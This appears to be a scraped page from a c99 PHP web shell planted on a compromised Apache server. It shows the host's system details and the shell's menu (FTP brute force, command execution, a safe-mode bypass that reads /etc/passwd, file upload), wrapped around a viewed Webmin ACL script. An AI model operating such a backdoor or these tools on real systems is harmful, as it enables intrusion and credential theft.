!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/acl/   drwxr-xr-x
Free 49.58 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     save_acl.cgi (2.58 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# save_acl.cgi
# Save access control options for some module

require './acl-lib.pl';
&ReadParse();
if ($in{'_acl_group'}) {
    $access{'groups'} || &error($text{'acl_egroup'});
    $who = $in{'_acl_group'};
    }
else {
    $me = &get_user($base_remote_user);
    @mcan = $access{'mode'} == 1 ? @{$me->{'modules'}} :
        $access{'mode'} == 2 ? split(/\s+/, $access{'mods'}) :
                       ( &list_modules(), "" );
    &indexof($in{'_acl_mod'}, @mcan) >= 0 || &error($text{'acl_emod'});
    &can_edit_user($in{'_acl_user'}) || &error($text{'acl_euser'});
    $who = $in{'_acl_user'};
    }

$aclfile = $in{'_acl_group'} ? "$config_directory/$in{'_acl_mod'}/$who.gacl"
                 : "$config_directory/$in{'_acl_mod'}/$who.acl";
if ($in{'reset'}) {
    # Just remove the .acl file
    &lock_file($aclfile);
    if ($in{'_acl_group'}) {
        # For a group
        &save_group_module_acl(undef, $in{'_acl_group'},
                       $in{'_acl_mod'}, 1);
        }
    else {
        # For a user
        &save_module_acl(undef, $in{'_acl_user'},
                 $in{'_acl_mod'},1);
        }
    &unlock_file($aclfile);
    $in{'moddesc'} = $minfo{'desc'};
    &webmin_log("reset", undef, $who, \%in);
    }
else {
    # Validate and store ACL settings
    &error_setup($text{'acl_err'});
    $maccess{'noconfig'} = $in{'noconfig'};
    if ($in{'rbac'}) {
        # RBAC overrides everything
        $maccess{'rbac'} = 1;
        }
    elsif (-r "../$in{'_acl_mod'}/acl_security.pl") {
        # Use user inputs
        $maccess{'rbac'} = 0 if (defined($in{'rbac'}));
        &foreign_require($in{'_acl_mod'}, "acl_security.pl");
        &foreign_call($in{'_acl_mod'}, "acl_security_save",
                  \%maccess, \%in);
        }

    # Write out the ACL
    &lock_file($aclfile);
    if ($in{'_acl_group'}) {
        # For a group
        &save_group_module_acl(\%maccess, $in{'_acl_group'},
                       $in{'_acl_mod'}, 1);
        }
    else {
        # For a user
        &save_module_acl(\%maccess, $in{'_acl_user'},
                 $in{'_acl_mod'},1);
        }
    chmod(0640, $aclfile) if (-r $aclfile);
    &unlock_file($aclfile);

    %minfo = $in{'_acl_mod'} ? &get_module_info($in{'_acl_mod'})
                 : ( 'desc' => $text{'index_global'} );

    if ($in{'_acl_group'}) {
        # Recursively update the ACL for all member users and groups
        # XXX ACL in DB?
        @ulist = &list_users();
        @glist = &list_groups();
        ($group) = grep { $_->{'name'} eq $in{'_acl_group'} } @glist;
        &set_acl_files(\@ulist, \@glist, $in{'_acl_mod'},
                   $group->{'members'}, \%maccess);
        }

    $in{'moddesc'} = $minfo{'desc'};
    &webmin_log("acl", undef, $who, \%in);
    }
if ($config{'display'}) {
    if ($in{'_acl_group'}) {
        &redirect("edit_group.cgi?group=$in{'_acl_group'}");
        }
    else {
        &redirect("edit_user.cgi?user=$in{'_acl_user'}&readwrite=1");
        }
    }
else {
    &redirect("");
    }



:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0116 ]--